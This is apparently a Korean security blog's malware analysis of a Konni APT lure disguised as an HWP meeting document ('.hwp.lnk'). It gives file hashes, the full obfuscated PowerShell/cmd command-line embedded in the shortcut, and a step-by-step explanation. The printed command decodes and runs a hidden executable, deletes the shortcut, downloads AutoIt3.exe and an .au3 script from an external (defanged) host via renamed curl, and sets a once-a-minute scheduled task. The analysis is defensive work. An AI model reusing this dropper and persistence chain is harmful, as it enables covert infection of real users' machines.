북한 APT Konni(코니)에서 만든 악성코드-1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk(2024.6.28)
오늘은 북한 APT 인 Konni(코니)에서 만든 악성코드-1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk(2024.6.28)에 대해 글을 적어보겠습니다.
AutoIt(au3) 스크립트를 사용하는 것이 특징이며 아직은 해당 스크립트 방식으로 백신 프로그램 엔진들이 파일 된 파일의 실행 방법에 숙달하지 않았기 때문에 이러한 유형의 공격에 대응하기 위해 해결이 필요합니다.
컴파일된 코어 페이로드는 AutoIt 도구를 사용하여 명령을 읽고 실행한 다음 Windows 시스템에서 지정된 악성 행위 을 수행
AutoIt은 Windows GUI 및 일반 스크립팅 프로그래밍을 자동화하기 위한 무료 스크립팅 언어
해쉬
파일명:1. 알티피_엔지니어링본부 사업개발회의 자료.hwp.lnk
사이즈:2.03 MB
MD5:87dc4c8f67cffc8a9699328face923e2
SHA-1:c5d67fb97a7a824168c872f8557eb52f503c9798
SHA-256:0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f
악성코드 포함된 PowerShell 코드
StringData
{
namestring: Type: HWP 2022 Document
Size: 1.4 MB
Date modified: 05(/)23/2024 14:51
relativepath: not pr(e)sent
workingdir: not pre(s)ent
commandlinearguments: /c f(o)r /f "tokens=*" %a in ('dir C:\Windows\SysWow64\Win
dowsPo(w)erShell\v1.0\*rshell(.)exe /s /b /od') do call %a "$thumb=0;<#cVv vl
tb#>$sow=Ge(t)-ChildItem *.lnk;<#(S)cC AvLl#>$sow=$sow|<#NKU IALT#(>)where-ob
ject{$_.length -eq 0x(0)020890F};<#hpb BpOs#>$turtle=$sow;<#qca UHRj#(>)$s(o
)w=$sow|<#SKU AbBK#>Select-Object -ExpandProp(e0rty Name;<#PZI XrSY#>if($s(o
)w.length -eq 0){$thumb=1;<#bEY oNnP#>$sow=Get(-)ChildItem -Path $env:TEMP -
Recurse -Filter *.lnk|<#xqH IlRX#>where-object({)$_.length -eq 0x002(0)890F}
|<#nVQ eWoJ#>ForEach-Object{$_.FullName}|<#fgr eAi(U)#>Select-Object -First
1;<#HaC KElI#>$turt(l)e=$sow};<#wpd TXDw#>$exercis(e)=$s(o)w.substring(0,$so
w.length-4);<#ziV bVoR#>$language=[(S)yst(e)m.IO.BinaryReader]::new([System.
IO.File]::open($sow,[System.IO.FileMode]::O(p)e(n),[System.IO.FileAccess]::R
ead,[System.IO.FileShare]::Read));<#dHW HTfJ#>try({)$lan(guage.BaseSt(r)eam.
Seek(0x0000150F,[System.IO.SeekOrigin]::Begin);<#xEb eKFP#>$scream=$languag(
e).Re(a)dBytes(0x00187400);<#CcE BEGf#>}finally{$language.Close()};<#yhE (E)
qBv#>for($teenager=0;<#ulr Nfbg#>$teenager -lt $scre(a)m.count;<#gJE TxsN#>$
teenager++){$scream[$(t)eenager]=$scream[$teenager] -bxor 0x00};<#cCp CqOc#>
[System.IO.File]::WriteAl(l)Bytes($exercise,$scream);<#wcK UzON#>if($thumb -
eq 1){$ruin=$exer(c)ise}else{$ruin='.\'+$exercise};<#QBj mbNt#>& $ruin;<#rNu
Eqav#>remove(-)item -path $turtle -force;<#FXh smYo#>"&mkdir c:\V(e)zoQcO &
attrib +h c:\V(e)zoQcO & cd /d c:\Ve(z)oQcO & copy c:\windows\system32\curl(
.)exe VezoQcO.exe & VezoQcO -k -o AutoIt3(.)exe hxxps://cavasa(.)com(.)co/we
bpyp/wp-inclu(d)es/images/cry(s)tal/hurryup/?rv=super^&za=mongo0 & VezoQcO -
k -o xNQbMGm(.)au3 hxxps://cavasa(.)com.co/webpyp/wp-includes/im(a)ges/cryst
al/hurryup/?rv=super^&za=mongo1 & s^ch^ta^sks /delete /(t)n "xNQbMGm" /f & s
^ch^ta^sks /create /sc minute /mo 1 /tn "xNQbMGm" /tr "c:\VezoQcO\AutoIt3(.)
exe c:\VezoQcO\xNQbMGm(.)au3"
iconlocation: (.)hwp
}
악성코드 분석
PowerShell 스크립트로 구성
1. lnk 파일 검색 및 필터링
현재 디렉터리에서. lnk 확장자를 가진 파일을 모두 가져옴
파일 크기가 특정 값(0x0020890F)인. lnk 파일만 필터링하여 작업 대상으로 설정
2. 대체 경로에서. lnk 파일 탐색 (조건부 실행)
만약 첫 번째 경로에서 조건에 맞는. lnk 파일이 없다면, 환경 변수 $env:TEMP가 가리키는 임시 디렉터리 내에서 .lnk 파일을 다시 검색
해당 조건을 만족하는 파일이 있다면 파일 경로를 저장하여 이후에 사용하도록 함
3. 복호화 및 파일 생성 작업
특정 오프셋 (0x0000150F)에서부터 데이터를 읽어들여 바이트 배열 $scream에 저장
오프셋과 읽어들일 크기는 악성 코드에서의 중요 데이터를 참조하는 부분.
0x00187400 바이트를 읽어 파일의 특정 영역에 저장하는 것은 해당 파일이 실제 악성 페이로드를 포함하고 있을 수 있음
읽어들인 데이터를 bxor 0x00 연산을 통해 간단한 XOR 복호화를 적용하여 원래 데이터를 복구
복호화된 데이터를 새 파일에 기록하여 .exe 형식의 실행 파일을 만듬
4. 악성 페이로드 실행 및 흔적 제거
복호화된 파일을 실행(& $ruin)하며 이후. lnk 파일을 삭제하여 흔적을 제거
5.원격 서버 연결 및 추가 악성 파일 다운로드
로컬 디렉터리 c:\VezoQcO를 생성하고 이를 숨김 속성(attrib +h)으로 설정하여 탐지되지 않도록함
curl.exe를 VezoQcO.exe로 복사하여 원격 서버에서 추가 파일을 다운로드
AutoIt3.exe와 xNQbMGm.au3 파일을 다운로드 하고 이후 이 파일들을 통해 추가 악성 작업을 수행
6.스케줄 작업 생성 및 지속성 유지 1분마다 실행되도록 스케줄 작업을 생성하여 악성 코드의 지속성을 확보
AutoIt3.exe 와 xNQbMGm.au3 파일을 주기적으로 실행하여 시스템을 감염 상태로 유지할 수 있음
그리고 HWP 파일을 열어 보면 HWP 파일과 일반 PPTX 파일 모두 열면 텍스트가 깨져 표시
LNK 파일이 실행하는 악성코드는 여전히 정상적으로 작동
아무튼, 11월 현재 분석을 하니까 일단 당연히 추가적인 악성행위를 하는 파일들을 확보하지 못했기 때문에 이렇게 악성코드가 동작한다고 생각을 하시면 됩니다.